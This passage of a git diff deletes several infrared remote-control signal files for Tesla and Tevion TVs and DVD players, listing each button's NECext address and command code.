-command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: prog_dn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: plessp -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: txt_hold -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: screen_size -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: pc_in -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: txt_hide -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: inner_screen -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: tv_dtv -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir deleted file mode 100644 index d809524f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0A 00 00 00 -# -name: tv/txt -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0B 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0C 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0F 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 10 00 00 00 -# -name: num -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: exp -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 14 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 17 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 19 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1A 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1E 00 00 00 -# -name: cyan -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir deleted file mode 100644 index 46ed7e4f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: / -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: hod -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: hore -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: hore -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: dolu -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: dolu -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir deleted file mode 100644 index 0e81c76e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: VTMix -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: Break -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: VTOff -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: VTStop -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: VTOn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir deleted file mode 100644 index 6cebed88e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 01 00 00 00 -# -name: ent -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 03 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 03 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 07 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 09 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 11 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 18 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 42 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 45 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 46 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 50 00 00 00 -# -name: magenta_ok -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 52 00 00 00 -# -name: program+ -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 53 00 00 00 -# -name: program- -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 57 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 58 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 59 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 5C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 5E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 5F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 45 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir deleted file mode 100644 index 27930d52c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: White -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir deleted file mode 100644 index 18c0dec18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0A 00 00 00 -# -name: disc -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 15 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 16 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 17 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 18 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 19 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1C 00 00 00 -# -name: audio_eq -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1E 00 00 00 -# -name: p_i -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir deleted file mode 100644 index 1a67289b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CAMERA -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 